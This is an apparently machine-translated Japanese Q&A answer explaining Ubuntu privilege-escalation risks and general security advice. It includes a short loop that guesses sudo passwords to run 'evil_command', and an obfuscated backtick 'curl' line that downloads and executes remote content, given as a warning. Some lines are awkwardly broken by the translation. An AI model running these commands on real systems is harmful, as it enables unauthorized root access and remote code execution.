回答:
これは複雑な質問です。Ubuntuシステムには、AppArmorのような複雑なフレームワークからのような謙虚なカーネル変数まで、さまざまなセキュリティ層がありますmmap_min_addr
。ミックスにメモリランダム化などのカーネル機能を追加できます。Ubuntu Wikiでそれらのリストと簡単な説明を見つけることができます。
もう1つの重要な要素は、更新が高速かつ簡単であることです。したがって、ほとんどのコンピューターは最後のセキュリティ修正プログラムに更新されます。
私の知る限り、コンピューターへのローカルアクセスを取得した攻撃者には、カーネル特権を拡張する3つの方法があります。
パスワードを解読します。しかし、これは本当に難しいことです。パスワードは、既知の欠陥のないアルゴリズムを使用して暗号化されて保存されます。それをクラックするには時間がかかります。
カーネルのバグ。しかし、カーネルのすべてのセキュリティ機能が邪魔になります。
ユーザーをだましてパスワードを渡す、つまりソーシャルエンジニアリング。偽のパスワードダイアログを表示するか、他のトリックを使用してください。これが最も簡単な方法です。
3番目のポイントは、現在最も弱い脆弱性です。
sudoers
ます。
Ubuntuはデフォルトでrootユーザーを無効にしているため、rootパスワード自体を解読することはできません。ただし、ユーザーがsudoを介してrootになることができ、パスワードが簡単に推測/ブルートフォースされる場合、システムは安全ではありません。パスワードをテストしようとするスクリプトの例:
#!/bin/sh
for pass in password 123 ubuntu pass; do
echo $pass|sudo -S evil_command
done
信頼できないリポジトリを追加すると、そのリポジトリからプログラムをインストールできます。のようなアプリケーションを明示的にインストールしなくsudo apt-get install [app-from-repo]
ても、リポジトリに特定のプログラムの新しいバージョンが含まれているとUbuntuに認識させることにより、リポジトリは他のプログラムに影響を与える可能性があります。
更新プロセスはルートとして実行されます。そうしないと、ファイルを/usr/bin
またはに書き込むことができません/etc
。インストールトリガーもルートとして実行され、任意の、場合によっては有害なコマンドを実行できます。心配する必要はありません。プログラムを更新するには手動でのアクションが必要であり、Ubuntuリポジトリは安全です。Windowsなどのクローズドソースソフトウェアは、悪意のあるコードのソースをチェックできないため、完全に信頼することはできませんが、必要に応じてUbuntuアプリケーションのソースを確認できます(sun-java6
またはFlash などのプロプライエタリプログラムには適用されません)。
Javier Riveraが述べたように、カーネルのバグは任意のコードの実行につながる可能性がありますが、バグのあるソフトウェア、特にバグのあるsetsuid
ルートバイナリ(ファイル所有者、ルートの下で実行されるバイナリ)、およびルートとして実行される他のバグのあるプログラムも危険です。
実行していることに注意を払わない場合、システムにセキュリティホールを作成できます。たとえば、cronjobsの概念を完全に理解せずに/etc/cron.daily
、ホームフォルダーでプログラムを実行するcronjobを追加しました(たとえば/bin/sh /home/your-username/myscript.sh
、myscript.shファイルが書き込み可能で、削除できる場合、悪用されると悪意がある可能性がありますmyscript.sh
ルートとして実行されるコード(特権エスカレーション)。
安全を保つために、心を使ってください!コマンドの動作がわからない場合は、信頼できないソースからコマンドを実行しないでください。誰か`curl 3221233674`
が逆ティックで実行すると言う場合は、しないでください。3221233674は別の記述方法です192.0.32.10
(example.comのIP)。したがって、次のようになります。
`curl http://example.com/`
これらの逆ティックにより、出力がシェルコマンドとして実行されます。簡単な英語では、「http://example.com/ページをダウンロードして、ダウンロードしたページを実行してみてください」。
最初は、指定されたコマンドに悪意のあるものは表示されません。しかし今、あなたはそれも悪用される可能性があることを知っています。
インターネットなどの信頼できないソースから取得したコマンド/スクリプトを常に確認してください。